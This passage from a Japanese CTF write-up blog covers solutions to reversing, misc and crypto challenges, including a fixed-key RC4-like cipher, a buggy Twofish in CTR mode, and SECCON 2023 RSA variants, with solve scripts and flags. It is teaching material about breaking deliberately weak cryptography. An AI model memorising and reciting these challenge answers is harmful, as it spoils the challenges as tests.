  uint uVar8;
  byte *pbVar9;
  
  uVar4 = (ulonglong)*param_1;
  uVar7 = (ulonglong)param_1[1];
  lVar6 = 0x20;
  pbVar5 = (byte *)(param_4 + 2);
  pbVar9 = (byte *)(param_3 + 2);
  do {
    uVar3 = (int)uVar4 + 1U & 0xff;
    uVar1 = param_1[(ulonglong)uVar3 + 2];
    uVar8 = uVar1 + (int)uVar7 & 0xff;
    uVar2 = param_1[(ulonglong)uVar8 + 2];
    param_1[(ulonglong)uVar3 + 2] = uVar2;
    param_1[(ulonglong)uVar8 + 2] = uVar1;
    pbVar9[(param_4 - param_3) + -2] =
         *(byte *)(param_1 + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[-2];
    uVar3 = uVar3 + 1 & 0xff;
    uVar1 = param_1[(ulonglong)uVar3 + 2];
    uVar8 = uVar8 + uVar1 & 0xff;
    uVar2 = param_1[(ulonglong)uVar8 + 2];
    param_1[(ulonglong)uVar3 + 2] = uVar2;
    param_1[(ulonglong)uVar8 + 2] = uVar1;
    pbVar5[-1] = *(byte *)(param_1 + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[-1];
    // 中略
    uVar3 = uVar3 + 1 & 0xff;
    uVar1 = param_1[(ulonglong)uVar3 + 2];
    uVar8 = uVar8 + uVar1 & 0xff;
    uVar2 = param_1[(ulonglong)uVar8 + 2];
    param_1[(ulonglong)uVar3 + 2] = uVar2;
    param_1[(ulonglong)uVar8 + 2] = uVar1;
    pbVar5[0xc] = *(byte *)(param_1 + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[0xc];
    uVar3 = uVar3 + 1 & 0xff;
    uVar4 = (ulonglong)uVar3;
    uVar1 = param_1[uVar4 + 2];
    uVar8 = uVar8 + uVar1 & 0xff;
    uVar7 = (ulonglong)uVar8;
    uVar2 = param_1[uVar7 + 2];
    param_1[uVar4 + 2] = uVar2;
    param_1[uVar7 + 2] = uVar1;
    pbVar5[0xd] = *(byte *)(param_1 + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[0xd];
    lVar6 = lVar6 + -1;
    pbVar5 = pbVar5 + 0x10;
    pbVar9 = pbVar9 + 0x10;
  } while (lVar6 != 0);
  param_1[1] = uVar8;
  *param_1 = uVar3;
  return;
}

RC4に似た暗号化処理が行われており、

pbVar5[0xd] = *(byte *)(param_1 + (ulonglong)(uVar2 + uVar1 & 0xff) + 2) ^ pbVar9[0xd];

の部分を見ると、少なくともストリーム暗号であることがわかります。

行われている処理をまとめると次のようになります。

  1. 固定の鍵 2023TTSSGG2023! から、ストリーム暗号のkeystream生成に用いる初期状態512bytesを作る (FUN_140001480)
  2. 512bytesの平文 (フラグ) を入力する (FUN_140001080)
  3. 平文を8bytesごとに x = x ^ (x >> 12) と変換する
  4. RC4に似たストリーム暗号で暗号化する (FUN_1400010e0)
  5. 暗号文を8bytesごとに x = x ^ (x >> 12) と変換する
  6. ハードコードされた暗号文と比較する

鍵が固定であることから、keystreamは固定なので、暗号化処理を正確にreversingしなくても、適当に入力して暗号化前後の文字列を取得し、それらをXORしてkeystreamを求めれば復号できます。暗号化前後の文字列は、x64dbgを用いて 0x140001b59 (call FUN_1400010e0) にブレークポイントを張り、r8, r9レジスタのアドレスを読むことで得られます。

また、x = x ^ (x >> 12) の逆変換は次のようにできます。

x = x ^ (x >> 12) ^ (x >> 24) ^ (x >> 36) ^ (x >> 48) ^ (x >> 60)

from Crypto.Util.number import *

with open('beginners-rev-2023.exe', 'rb') as f:
    f.seek(0x3040)
    enc_flag = f.read(0x200)

kasu_plain = '''77 77 77 77 77 77 67 61 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00'''

kasu_enc = '''5D DB A4 08 84 86 8D D2 FE 97 54 DB D7 AE 0C E2
DF 66 72 6D 62 AF E5 B9 99 31 DA 81 3D DE D9 FD
0F B5 55 93 C9 A0 09 CD 2D 30 8A D0 9C C1 C6 F2
09 27 38 4C A4 56 99 BC 75 07 7A EC 74 85 AD 1A
1C 86 6F D8 61 12 C5 75 48 D1 CB B1 87 9C 1F 0A
8B 01 B4 E2 8B 28 98 FA C7 91 67 35 59 81 23 31
DE D6 87 78 66 AD 45 53 AD 1B 2E D7 04 D3 BB 87
88 D4 32 A4 AA 55 5B A7 0E 05 8A A0 B8 E0 5A 3D
B0 8A 1B 79 B0 2E 15 86 A2 77 90 A1 59 CB 61 08
F3 AF C9 B6 4D 61 1A 93 32 0A 81 5E E4 E4 B2 0B
E4 63 34 C5 1F E9 38 FD 48 A2 29 2B 18 07 FE D3
7B E4 1A 26 84 BF F5 17 11 FE 95 40 9A 73 24 B3
6C C4 34 80 8D 31 FD A9 4F 4B C8 B6 4D 3C 6B FF
B7 44 7F FD 3F 1C 92 BF 74 58 33 E1 4A 46 90 94
90 74 5C F9 03 22 70 8A 86 01 F8 5F E6 41 5D 83
34 6D 88 1E 16 08 4D 62 57 86 9D 03 4E 65 38 31
08 62 55 5E 73 6D C4 52 F5 9E E9 24 9E 45 55 82
C4 DE ED B6 87 1E 99 2F AF 87 89 0D 84 7C C7 45
FD 61 63 22 EC 5E B9 FB 97 3E B4 F6 76 33 84 FA
15 D6 32 00 58 8B 4B 6C 9A 50 CD 1D FC 05 B4 78
96 E3 7D A0 EF B2 1D 01 AC F8 0F E6 C7 81 E4 7A
52 9D 43 82 45 B3 73 C8 C2 6D 10 B0 5B 6F E1 EE
C7 45 C0 B9 A1 AA 9F FC 57 3B 36 72 EB AC 43 BB
AC 0E AD 62 4F 43 66 D7 1C 5E DE B8 30 29 DD 50
72 3F 38 DD BE 73 69 F2 B7 0E 64 42 F4 73 40 03
9D C8 28 F8 D6 25 16 35 C5 5F F1 4A 61 50 56 FE
F8 49 C0 D0 A5 4E 10 A7 14 C5 4B E9 CA B8 E3 DE
DB 76 22 5B EA 0A 31 07 BF 52 DB A6 E9 88 13 4D
93 1D 99 3F DC 61 DE CD 00 08 48 2B 26 66 9D A1
E2 28 17 67 A1 4E D8 00 48 2D 5A 5F D1 FB 09 FD
12 CD B6 FD F1 56 B3 6A C4 6F 94 C6 A8 2C BA 29
37 8F 8B 80 5E BE 77 D0 48 6E E2 E5 7D A1 38 86'''

def inv(x):
    return x^(x>>12)^(x>>24)^(x>>36)^(x>>48)^(x>>60)

tmp = []
for i in range(0, 0x200, 8):
    tmp.append(inv(bytes_to_long(enc_flag[i:i+8][::-1])))
enc_flag = tmp

tmp = []
for line in kasu_plain.split('\n'):
    vs = line.split()[:16]
    v1 = bytes_to_long(bytes.fromhex(''.join(vs[:8][::-1])))
    tmp.append(v1)
    v2 = bytes_to_long(bytes.fromhex(''.join(vs[8:][::-1])))
    tmp.append(v2)
kasu_plain = tmp

tmp = []
for line in kasu_enc.split('\n'):
    vs = line.split()[:16]
    v1 = bytes_to_long(bytes.fromhex(''.join(vs[:8][::-1])))
    tmp.append(v1)
    v2 = bytes_to_long(bytes.fromhex(''.join(vs[8:][::-1])))
    tmp.append(v2)
kasu_enc = tmp

keystream = [x^y for x, y in zip(kasu_enc, kasu_plain)]
flag = [inv(x^y) for x, y in zip(enc_flag, keystream)]
print(b''.join(long_to_bytes(x)[::-1] for x in flag))
# TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r}

[misc] Secret Sequence

次のソースコードとその実行結果が与えられます。

import numpy as np
import secrets
import base64
def block_to_words(block):
    # block 128bit byteString
    # words 32 * 4bit int np.array
    # little endian
    divided_blocks = np.array([block[4*i:4*(i+1)] for i in range(4)])
    f = np.frompyfunc(int.from_bytes, 2, 1)
    words = f(divided_blocks,'little')
    return words

def words_to_block(words):
    # words 32 * 4bit int np.array
    # block 128bit byteString
    # little endian
    block = b''.join([i.to_bytes(4,'little') for i in words])
    return block

def rotate_left(x, n):
    # x 32bit int
    # n int
    # rotated 32bit int
    rotated = ((x << n) & 0xffffffff) | (x >> (32 - n))
    return rotated

def rotate_right(x, n):
    # x 32bit int
    # n int
    # rotated 32bit int
    rotated = (x >> n) | ((x << (32 - n)) & 0xffffffff)
    return rotated

primitive_polynomial_g = 0b01101001

def xtime(a):
    # a: 8bit
    # b: 8bit
    if a & 0b10000000 == 0b10000000:
        a = ((a << 1) ^ primitive_polynomial_g) & 0b11111111
    else:
        a <<= 1
    return a

def gmul(a, b):
    # a: 8bit
    # b: 8bit
    # c: 8bit
    c = 0
    for i in range(8):
        if b & 1 == 1:
            c ^= a
        a = xtime(a)
        b >>= 1
    return c

MDS = np.array([
    [0x01, 0xEF, 0x5B, 0x5B],
    [0x5B, 0xEF, 0xEF, 0x01],
    [0xEF, 0x5B, 0x01, 0xEF],
    [0xEF, 0x01, 0xEF, 0x5B]
],dtype='object')

def q0(x):
    # x 8bit int
    # y 8bit int
    t = np.array([
        [0x8,0x1,0x7,0xd,0x6,0xf,0x3,0x2,0x0,0xb,0x5,0x9,0xe,0xc,0xa,0x4],
        [0xe,0xc,0xb,0x8,0x1,0x2,0x3,0x5,0xf,0x4,0xa,0x6,0x7,0x0,0x9,0xd],
        [0xb,0xa,0x5,0xe,0x6,0xd,0x9,0x0,0xc,0x8,0xf,0x3,0x2,0x4,0x7,0x1],
        [0xd,0x7,0xf,0x4,0x1,0x2,0x6,0xe,0x9,0xb,0x3,0x0,0x8,0x5,0xc,0xa]
    ],dtype='object')
    a = np.zeros(5,dtype='object')
    b = np.zeros(5,dtype='object')
    a[0] = (x>>4)%16
    b[0] = x%16
    a[1] = a[0] ^ b[0]
    b[1] = a[0] ^ (((b[0]<<3)&(0b1000)) | b[0]>>1) ^ ((8*a[0])%16)
    a[2] = t[0][a[1]]
    b[2] = t[1][b[1]]
    a[3] = a[2] ^ b[2]
    b[3] = a[2] ^ (((b[2]<<3)&(0b1000)) | b[2]>>1) ^ ((8*a[2])%16)
    a[4] = t[2][a[3]]
    b[4] = t[3][b[3]]
    y = 16*b[4] + a[4]
    return y

def q1(x):
    # x 8bit int
    # y 8bit int
    t = np.array([
        [0x2,0x8,0xb,0xd,0xf,0x7,0x6,0xe,0x3,0x1,0x9,0x4,0x0,0xa,0xc,0x5],
        [0x1,0xe,0x2,0xb,0x4,0xc,0x3,0x7,0x6,0xd,0xa,0x5,0xf,0x9,0x0,0x8],
        [0x4,0xc,0x7,0x5,0x1,0x6,0x9,0xa,0x0,0xe,0xd,0x8,0x2,0xb,0x3,0xf],
        [0xb,0x9,0x5,0x1,0xc,0x3,0xd,0xe,0x6,0x4,0x7,0xf,0x2,0x0,0x8,0xa]
    ],dtype='object')
    a = np.zeros(5,dtype='object')
    b = np.zeros(5,dtype='object')
    a[0] = (x>>4)%16
    b[0] = x%16
    a[1] = a[0] ^ b[0]
    b[1] = a[0] ^ (((b[0]<<3)&(0b1000)) | b[0]>>1) ^ ((8*a[0])%16)
    a[2] = t[0][a[1]]
    b[2] = t[1][b[1]]
    a[3] = a[2] ^ b[2]
    b[3] = a[2] ^ (((b[2]<<3)&(0b1000)) | b[2]>>1) ^ ((8*a[2])%16)
    a[4] = t[2][a[3]]
    b[4] = t[3][b[3]]
    y = 16*b[4] + a[4]
    return y

def h_func(X,L):
    # X 32bit int
    # L 32 * k bit int np.array
    # Y 32bit int
    k=2
    x = np.array([X>>(8*i) &0xff for i in range(4)])
    l = np.zeros((k,4),dtype='object')
    for i in range(k):
        l[i] = np.array([L[i]>>(8*j) &0xff for j in range(4)])
    y = np.zeros((k+1,4) ,dtype='object')
    y[k] = [i for i in x]
    y[0][0] = q1(q0(q0(y[k][0]) ^ l[1][0]) ^ l[0][0])
    y[0][1] = q0(q0(q1(y[k][1]) ^ l[1][1]) ^ l[0][1])
    y[0][2] = q1(q1(q0(y[k][2]) ^ l[1][2]) ^ l[0][2])
    y[0][3] = q0(q1(q1(y[k][3]) ^ l[1][3]) ^ l[0][3])
    z = [0]*4
    for i in range(4):
        for j in range(4):
            z[i] ^= gmul(MDS[i][j],y[0][j])
    Z = 0
    for i in range(4):
        Z += (z[i] << (8*i))
    return Z

def xtime_k(a):
    # a: 8bit
    # b: 8bit
    primitive_polynomial_k = 0b01001101
    if a & 0b10000000 == 0b10000000:
        a = ((a << 1) ^ primitive_polynomial_k) & 0b11111111
    else:
        a <<= 1
    return a

def gmul_k(a, b):
    # a: 8bit
    # b: 8bit
    # c: 8bit
    c = 0
    for i in range(8):
        if b & 1 == 1:
            c ^= a
        a = xtime_k(a)
        b >>= 1
    return c

def key_schedule(key):
    # key 128bit byteSrting
    # Me 32 * 2 bit byteString np.array
    # Mo 32 * 2 bit byteString np.array
    # S 32 * 2 bit byteString np.array
    # keys byteString np.array
    # [key,Me[0],Me[1],Mo[0],Mo[1],S[0],S[1]]
    keys = np.full(7,b"")
    keys[0] = key
    RS = np.array([
        [0x01,0xA4,0x55,0x87,0x5A,0x58,0xDB,0x9E],
        [0xA4,0x56,0x82,0xF3,0x1E,0xC6,0x68,0xE5],
        [0x02,0xA1,0xFC,0xC1,0x47,0xAE,0x3D,0x19],
        [0xA4,0x55,0x87,0x5A,0x58,0xDB,0x9E,0x03]
    ],dtype='object')
    m = np.array([keys[0][4*i:4*(i+1)] for i in range(4)])
    keys[1] = m[0]
    keys[2] = m[2]
    keys[3] = m[1]
    keys[4] = m[3]
    S = np.zeros(2,dtype='object') 
    m2 = np.array([(int.from_bytes(keys[0],'big')>>(8*(15-i))) & 0xff for i in range(16)])
    for i in range(2):
        s = [0]*4
        for j in range(4):
            for k in range(8):
                s[j] ^= gmul_k(RS[j][k],m2[8*i+k])
        for j in range(4):
            S[i] += (s[j] << (8*j))
        keys[6-i] = S[i].to_bytes(4,'little')
    Me = np.full(2,b"")
    Mo = np.full(2,b"")
    S = np.full(2,b"")
    Me[0] = keys[1]
    Me[1] = keys[2]
    Mo[0] = keys[3]
    Mo[1] = keys[4]
    S[0] = keys[5]
    S[1] = keys[6]
    return Me,Mo,S
            
def sbox_with_key(X,i,S):
    # X 8bit int
    # i int 0-3
    # S 32 * 2 bit int
    # Y 8bit int
    k=2
    l = np.zeros((2,4),dtype='object')
    for m in range(k):
        l[m] = [S[m]>>(8*j) &0xff for j in range(4)]
    y = np.zeros((k+1,4) ,dtype='object')
    y[k][i] = X
    if i == 0:
        y[0][0] = q1(q0(q0(y[k][0]) ^ l[1][0]) ^ l[0][0])
    elif i == 1:
        y[0][1] = q0(q0(q1(y[k][1]) ^ l[1][1]) ^ l[0][1])
    elif i == 2:
        y[0][2] = q1(q1(q0(y[k][2]) ^ l[1][2]) ^ l[0][2])
    elif i == 3:
        y[0][3] = q0(q1(q1(y[k][3]) ^ l[1][3]) ^ l[0][3])
    return y[0][i]

def expand_key(Mo,Me):
    # key 128bit byteString
    # keys 32 * 40 bit int
    # little endian
    Mo_int = np.frompyfunc(int.from_bytes, 2, 1)(Mo,'little')
    Me_int = np.frompyfunc(int.from_bytes, 2, 1)(Me,'little')
    keys = []
    rho = 2**24 + 2**16 + 2**8 + 2**0
    A = np.zeros(20,dtype='object')
    B = np.zeros(20,dtype='object')
    for i in range(20):
        A[i]=h_func(2*i*rho,Me_int)
        B[i]=rotate_left(h_func((2*i+1)*rho,Mo_int),8)
    keys = np.zeros(40,dtype='object')
    for i in range(20):
        keys[2*i] = (A[i] + B[i])%(2**32)
        keys[2*i+1] = rotate_left((A[i] + 2*B[i])%(2**32),9)
    return keys

def g_func(X,S):
    # X 32bit int
    # S 32 * 2 bit int
    # Z 32bit int
    x = [X>>(8*i) &0xff for i in range(4)]
    y = [sbox_with_key(x[i],i,S) for i in range(4)]
    z = np.zeros(4,dtype='object')
    for i in range(4):
        for j in range(4):
            z[i] ^= gmul(MDS[i][j],y[j])
    Z = 0
    for i in range(4):
        Z += (z[i] << (8*i))
    return Z
    
def f_func(r0,r1,keys,rounds,S):
    # r0 32bit int
    # r1 32bit int
    # keys 32 * n bit int
    # rounds int 0-15
    # f0 32bit int
    # f1 32bit int
    t0 = g_func(r0,S)
    t1 = g_func(rotate_left(r1,8),S)
    f0 = (t0+t1+keys[2*rounds+8]) % 2**32
    f1 = (t0+2*t1+keys[2*rounds+9]) % 2**32
    return f0,f1

def one_round(words,rounds,keys,S):
    # words 32 * 4bit int
    # rounds int 0-15
    # exchanged_words 32 * 4bit int
    S_int = np.frompyfunc(int.from_bytes, 2, 1)(S,'little')
    f0,f1 = f_func(words[0],words[1],keys,rounds,S_int)
    exchanged_words = [0]*4
    exchanged_words[2] = words[0]
    exchanged_words[3] = words[1]
    exchanged_words[0] = rotate_right(words[2] ^ f0,1)
    exchanged_words[1] = rotate_left(words[3],1) ^ f1
    return exchanged_words

def input_whitening(words,keys):
    # words 32 * 4bit int
    # keys 32 * 4bit int
    # whitened_words 32 * 4bit int
    whitened_words = [0]*4
    for i in range(4):
        whitened_words[i] = words[i] ^ keys[i]
    return whitened_words

def output_whitening(words,keys):
    # words 32 * 4bit int
    # keys 32 * 4bit int
    # whitened_words 32 * 4bit int
    whitened_words = [0]*4
    for i in range(4):
        whitened_words[i] = words[(i+2)%4] ^ keys[i]
    return whitened_words

def twofish_encrypt(block,key):
    # block 128bit byteString
    # key 128bit byteString
    # encrypted_block 128bit byteString
    words = block_to_words(block)
    Me,Mo,S = key_schedule(key)
    keys = expand_key(Mo,Me)
    whitened_words = input_whitening(words,keys[0:4])
    for i in range(16):
        whitened_words = one_round(whitened_words,i,keys,S)
    encrypted_words = output_whitening(whitened_words,keys[4:8])
    encrypted_block = words_to_block(encrypted_words)
    return encrypted_block

def main(flag):
    pad_flag = flag+b'\x00'*(16-len(flag)%16)
    block_length = len(pad_flag)//16
    nonce = int.from_bytes(secrets.token_bytes(12),'big')
    assert block_length <= 2**32
    counter = [int.to_bytes((nonce<<32) + i,16,'big') for i in range(0,block_length)]
    key = secrets.token_bytes(16)
    encrypted_counter = [twofish_encrypt(i,key) for i in counter]
    encrypted_flags = [int.from_bytes(encrypted_counter[i],'big') ^ (int.from_bytes(pad_flag,'big')>>(16*8)*(block_length-1-i))&0xffffffffffffffffffffffffffffffff for i in range(0,block_length)]
    print("nonce = ", nonce)
    print("encrypted_flags = ", encrypted_flags)

if __name__ == '__main__':    
    flag = b"TSGCTF{__REDUCTED__}"
    main(flag)

問題文は次のようになっています。

Flagを暗号化するために、鍵が128bitの場合のtwofishという暗号を自分で実装してみたよ。NumPyを使うのは初めてだったけど、とても便利だね!

ところで、公式サイトの Test Vectors に載ってる Known Answer Test と暗号化の結果が一致しないけどどうしてだろう。

twofishというブロック暗号が実装されていますが、実装に間違いがあるようです。フラグはCTRモードで暗号化されています。

nonceを固定し、keyを変えたときの暗号文の変化を観察してみると、不思議なことに、keyの2文字目以降を変更しても暗号文が変わらないことが推測できます。

def main(flag, key):
    pad_flag = flag+b'\x00'*(16-len(flag)%16)
    block_length = len(pad_flag)//16
    # nonce = int.from_bytes(secrets.token_bytes(12),'big')
    nonce = 18639088674531619804203553158
    assert block_length <= 2**32
    counter = [int.to_bytes((nonce<<32) + i,16,'big') for i in range(0,block_length)]
    # key = secrets.token_bytes(16)
    encrypted_counter = [twofish_encrypt(i,key) for i in counter]
    encrypted_flags = [int.from_bytes(encrypted_counter[i],'big') ^ (int.from_bytes(pad_flag,'big')>>(16*8)*(block_length-1-i))&0xffffffffffffffffffffffffffffffff for i in range(0,block_length)]
    # print("nonce = ", nonce)
    print("encrypted_flags = ", encrypted_flags)

if __name__ == '__main__':    
    flag = b"TSGCTF{__REDUCTED__}"
    main(flag, b'a' + b'a'*15)
    main(flag, b'a' + b'b'*15)
python3 encrypt.py
encrypted_flags =  [290626269617722010694582424448868702133, 188985550652166884715879952474676365533]
encrypted_flags =  [290626269617722010694582424448868702133, 188985550652166884715879952474676365533]

よって、keyの2文字目以降は好きに固定し、1文字目のみ全ての文字を試せばよいです。CTRモードなので、encrypted_counter をXORすることで復号できます。

from Crypto.Util.number import *

nonce = 18639088674531619804203553158
encrypted_flags = [136566763988814260123977728391695169870, 297854733988125490212154919002758942167, 140286143861115781298750245081274386093, 267780198301748450281498233524628586631, 67891782595602432915140903440966332185, 27833795440965705923198634284529559150, 75239374091619069386173206358307312436, 155895086707931827255209248461881439022, 168571968627802622229088996983467487220, 258118042758062906462047523793633475289]

def decrypt(k):
    block_length = len(encrypted_flags)
    counter = [int.to_bytes((nonce<<32) + i,16,'big') for i in range(0,block_length)]
    key = bytes([k]) + b'a'*15
    encrypted_counter = [twofish_encrypt(i,key) for i in counter]
    
    ans = b''
    for i in range(len(encrypted_flags)):
        v = bytes_to_long(encrypted_counter[i]) ^ encrypted_flags[i]
        ans += long_to_bytes(v)
    if b'TSGCTF' in ans:
        print(ans)
        
for k in range(256):
    decrypt(k)
# TSGCTF{P3ople_li|<e_w4$+3,_I_|<|\|o\/\/._If_I_wa$_g0i|\|g_t0_ac+u4lly_use_i+,_I_shoul|)_not_h4ve_i|\/|ple|\/|e|\|ted_+|-|3_(i|*he|2_0|\|_|\/|`/_own.}

SECCON CTF 2023 Quals writeup

SECCON CTF 2023 QualsにチームBunkyoWesternsで参加しました。

国内2位で国内決勝に進出することができました。

今年はCryptoがとても難しかったですが、10solvesの問題を含む4問を解くことができて良かったです。

[crypto] plai_n_rsa

次のソースコードとその実行結果が与えられます。

import os

from Crypto.Util.number import bytes_to_long, getPrime

flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}")
assert flag.startswith(b"SECCON{")
m = bytes_to_long(flag)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
hint = p+q
c = pow(m,e,n)

print(f"e={e}")
print(f"d={d}")
print(f"hint={hint}")
print(f"c={c}")

RSA暗号で、n が与えられない代わりに、秘密鍵 d および hint=p+q の値が与えられます。

d=e^{-1}\bmod{\phi(n)} なので、

\displaystyle{
ed=1+k\phi(n)
}

を満たす正整数 k があります。 ここで d\lt \phi(n) なので、k\lt e が成り立ちます。

よって、k を全探索することができ、\phi(n) の候補が得られます。 さらに \phi(n)=(p-1)(q-1)=n-hint+1 より、n の候補が得られます。

n の候補について、m=c^{d}\bmod{n} により復号を試し、結果が SECCON から始まるものがフラグです。

from Crypto.Util.number import *
from output import *

for k in range(1, e):
    if (e*d-1)%k!=0:
        continue
    phi = (e*d-1)//k
    n = phi+hint-1
    m = pow(c, d, n)
    flag = long_to_bytes(m)
    if b'SECCON' in flag:
        print(flag)
# b'SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}'

[crypto] RSA 4.0

次のソースコードとその実行結果が与えられます。

import os

from Crypto.Util.number import bytes_to_long, getStrongPrime

m = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
e = 0x10001
p = getStrongPrime(1024, e=e)
q = getStrongPrime(1024, e=e)
n = p * q
assert m < n
Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()
enc = (
    1 * m
    + (3 * m + 1 * p + 337 * q) * i
    + (3 * m + 13 * p + 37 * q) * j
    + (7 * m + 133 * p + 7 * q) * k
) ** e
print(f"{n = }")
print(f"{e = }")
print(f"{enc = }")

関係式 i^{2}=-1, j^{2}=-1, k=ij=-ji で定まる \mathbb{Z}/n\mathbb{Z} 上の四元数Q における、RSA暗号の問題です。ここで、平文 a+bi+cj+dk は、フラグ mp, q の1次式になっています。

Q は、

\displaystyle{
a+bi+cj+dk \mapsto \begin{pmatrix}
a+bi & c+di \\
-c+di & a-bi
\end{pmatrix} = M
}

により行列環に埋め込むことができます (Wikipedia)。

この行列の対角化を考えます。

\displaystyle{
M = P \begin{pmatrix}
\alpha & 0 \\
0 & \beta
\end{pmatrix} P^{-1}
}

ここで、\alpha, \betaM の固有多項式

\displaystyle{
\det\begin{pmatrix}
\lambda-(a+bi) & -(c+di) \\
-(-c+di) & \lambda-(a-bi)
\end{pmatrix} = \lambda^2-2a\lambda+(a^2+b^2+c^2+d^2)
}

の根であり、

\displaystyle{
P=\begin{pmatrix}
r & s \\
t & u
\end{pmatrix}=\begin{pmatrix}
c+di & c+di \\
\alpha-(a+bi) & \beta-(a+bi)
\end{pmatrix}
}

です。

このとき、

\displaystyle{
\begin{aligned}
M^e &= P \begin{pmatrix}
\alpha^e & 0 \\
0 & \beta^e
\end{pmatrix} P^{-1} \\\\
&= \frac{1}{ru-st} \begin{pmatrix}
ru\alpha^e-st\beta^e & -rs(\alpha^e-\beta^e) \\
tu(\alpha^e-\beta^e) & ru\beta^e-st\alpha^e
\end{pmatrix}
\end{aligned}
}

です。

よって、(a+bi+cj+dk)^{e}=a'+b'i+c'j+d'k とおくと

\displaystyle{
(c'+d'i)tu=-(-c'+d'i)rs
}

です。rs=(c+di)^{2}, tu=c^{2}+d^{2} を用いて整理すると

\displaystyle{
cd'=c'd
}

がわかります。対称性より、bc'=b'c もわかります。

b=3m+p+337q などを用いると、

\displaystyle{
\begin{aligned}
c_{11}m+c_{12}p+c_{13}q &= 0 \pmod{n} \\
c_{21}m+c_{22}p+c_{23}q &= 0 \pmod{n}
\end{aligned} 
}

のような2本の関係式が得られます。m を消去すると、

\displaystyle{
c_{1}p+c_{2}q=0 \pmod{n}
}

のような式が得られます。c_{2}p の倍数なので、

\displaystyle{
p=\gcd(c_{2}, n)
}

により p が求まり、n素因数分解できます。

\alpha, \beta\mathbb{Z}/n\mathbb{Z} 係数の2次方程式の解なので、\mathbb{F}_{p^{2}}\times \mathbb{F}_{q^{2}} の元とみなせます。さらに、\alpha, \beta\not\in \mathbb{F}_{p} の場合、\alpha, \beta\mathbb{F}_{p} 上共役です。よって、四元数環の元の位数は (p^{2}-1)(q^{2}-1) の約数なので、ence^{-1}\bmod (p^{2}-1)(q^{2}-1) 乗することで復号できます。

n = 2487202132 ...
e = 65537
a = 3859728242 ...
b = 6689400988 ...
c = 1425535224 ...
d = 1693964190 ...

from Crypto.Util.number import *

c11, c12, c13 = 3*c-3*b, c-13*b, 337*c-37*b
c11, c12, c13 = c11%n, c12%n, c13%n
c21, c22, c23 = 3*d-7*b, d-133*b, 337*d-7*b
c21, c22, c23 = c21%n, c22%n, c23%n
c1, c2 = c21*c12-c11*c22, c21*c13-c11*c23
c1, c2 = c1%n, c2%n
p = GCD(c2, n)
q = n//p

Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()
enc = a+b*i+c*j+d*k
d = inverse(e, (p**2-1)*(q**2-1))
m = enc**d
print(long_to_bytes(int(m[0])))
# b'SECCON{pr0m153_m3!d0_n07_3ncryp7_p_0r_q_3v3n_w17h_r54_4.0}'

実験が下手でなかなか規則性に気づけなかったのですが、行列表示して対角化を考えればとりあえず成分の関係式が2本出てくるはずだと思い、頑張って計算してみることにしました。めちゃめちゃ単純な関係式が導かれてびっくりしましたが、何とか解けてよかったです。

[crypto] CIGISICGICGICG

次のソースコードとその実行結果が与えられます。

import os
from functools import reduce
from secrets import randbelow


flag = os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}")
p1 = 21267647932558653966460912964485513283
a1 = 6701852062049119913950006634400761786
b1 = 19775891958934432784881327048059215186
p2 = 21267647932558653966460912964485513289
a2 = 10720524649888207044145162345477779939
b2 = 19322437691046737175347391539401674191
p3 = 21267647932558653966460912964485513327
a3 = 8837701396379888544152794707609074012
b3 = 10502852884703606118029748810384117800


def prod(x: list[int]) -> int:
    return reduce(lambda a, b: a * b, x, 1)


def xor(x: bytes, y: bytes) -> bytes:
    return bytes([xi ^ yi for xi, yi in zip(x, y)])


class ICG:
    def __init__(self, p: int, a: int, b: int) -> None:
        self.p = p
        self.a = a
        self.b = b
        self.x = randbelow(self.p)

    def _next(self) -> int:
        if self.x == 0:
            self.x = self.b
            return self.x
        else:
